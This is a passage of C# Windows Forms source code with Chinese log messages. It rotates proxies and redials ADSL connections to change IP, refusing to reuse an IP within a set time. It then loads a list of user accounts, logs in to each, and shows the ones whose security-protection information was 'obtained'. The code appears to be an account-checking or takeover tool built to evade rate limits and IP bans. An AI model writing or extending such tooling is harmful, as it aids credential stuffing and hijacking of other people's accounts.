                LogWrite(Loglevel.Info, "请求代理列表失败!");
            }

            string[] proxyArray = result.Html.Split(new char[] { '\n' });
            foreach (string _proxy in proxyArray)
            {
                Proxys proxy = new Proxys();
                proxy.Proxy = _proxy.Replace("\r", "").Replace("\n", "");
                proxy.Available = true;
                proxy.UseCount = 0;
                proxys.Add(proxy);
            }

            LogWrite(Loglevel.Info, string.Format("成功获代理 {0} 枚", proxys.Count));
        }

        private Proxys GetProxy()
        {
            var proxy = proxys.Where(m => m.Available == true && m.UseCount <= Convert.ToInt32(txt_UsedCount.Text.Trim())).OrderBy(m => m.UseCount).ThenBy(m => m.Proxy).ToList();

            if (proxy.Count <= 0)
            {
                LogWrite(Loglevel.Info, "当前代理列表中无可用代理");
                LoadProxy();
                return GetProxy();
            }
            else
            {
                return proxy.FirstOrDefault();
            }
        }
        #endregion

        #endregion

        private int DoNum = 1;

        private Users tmpuser;
        private void skinDataGridView1_DoubleClick(object sender, EventArgs e)
        {
            if (!backgroundWorker1.IsBusy)
            {
                backgroundWorker1.RunWorkerAsync();
            }
            else
            {
                MetroMessageBox.Show(this,"正在有账号处理中，请稍后再试！","稍后尝试",100);
            }
        




        }

        private async void metroButton2_Click(object sender, EventArgs e)
        {
            #region 重新拨号
            //判断是否使用了ADSL 模式需要切换 IP;
            if (checkBox_UseAdsl.Checked)
            {

                LogWrite(Loglevel.Info, string.Format("开始切换IP"));
                DisconnectConnection();
                await Task.Delay(1000);

                if (!DialConnection(txt_adslUser.Text.Trim(), txt_adslPass.Text.Trim()))
                {
                    await Task.Delay(500);
                   
                }

                var isUsed = clientIPAddress.Any(m => m.IPAddress.Equals(clientIP) && m.Time >= DateTime.Now);
                if (isUsed)
                {
                    LogWrite(Loglevel.Info, string.Format("检测到 => IP : {0} 重复请求.", clientIP));
                    
                }
                else
                {
                    clientIPAddress.Add(new ClientIPAddress()
                    {
                        IPAddress = clientIP,
                        Time = DateTime.Now.AddMinutes(Convert.ToInt32(txt_ReuseMinute.Text))
                    });

                    LogWrite(Loglevel.Info, string.Format("切换 => IP : {0} 成功", clientIP));
                }

            }
            else
            {
                MetroMessageBox.Show(this, "您还没有启用ADSL拨号，请启用后重试！", "提示");
            }
            #endregion
        }

        private void skinDataGridView1_DragEnter(object sender, DragEventArgs e)
        {
            if (e.Data.GetDataPresent(DataFormats.FileDrop))
            {
                e.Effect = DragDropEffects.All;//调用DragDrop事件
            }
            else
            {
                e.Effect = DragDropEffects.None;
            }
         
        }

        private void skinDataGridView1_DragDrop(object sender, DragEventArgs e)
        {
            Array file = (System.Array)e.Data.GetData(DataFormats.FileDrop);

            foreach (var item in file)
            {
                txt_Path.Text = item.ToString();//拖放的多个文件的路径列表
                LoadUserInfo();
            }

         
        }

        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            var currentUser = skinDataGridView1.CurrentRow.DataBoundItem as Users;
            skinDataGridView1.CurrentRow.Cells[3].Style.ForeColor = System.Drawing.Color.Red;
            if (DoNum % nUpDwon_ChangeNum.Value == 0)
            {
                DoNum = 0;
                if (checkBox_UseAdsl.Checked)
                    metroButton2_Click(sender, e);

            }
            DoNum++;

            if (currentUser.IsNull())
                return;

            skinDataGridView1.BeginInvoke(new System.Action(() => {

                LogWrite(Loglevel.Info, string.Format("开始处理账号[{0}]...", currentUser.UserID));

            }));
            if (tmpuser != null && tmpuser.Equals(currentUser) && currentUser.Status == Status.获取密保成功)
            {
                forminfo.Show();
                return;
            }

            LogWrite(Loglevel.Info, string.Format("当前账号[{0}],信息资料[{1}]", currentUser.UserID, currentUser.GSOtherInfo()));
            if (forminfo.Visible || currentUser.Status != Status.未检测)
            {
                LogWrite(Loglevel.Info, string.Format("当前账号[{0}]处理完毕,[{1}]", currentUser.UserID, currentUser.Status));
                return;
            }

            var service = LoginUser(currentUser);
            if (currentUser.Status == Status.获取密保成功)
            {
                tmpuser = currentUser;
                forminfo.Update(skinDataGridView1.CurrentRow, service);
                forminfo.Show();
            }
            else
            {
                LogWrite(Loglevel.Info, string.Format("当前账号[{0}]处理完毕,[{1}]", currentUser.UserID, currentUser.Status));
            }

        }
    }
}
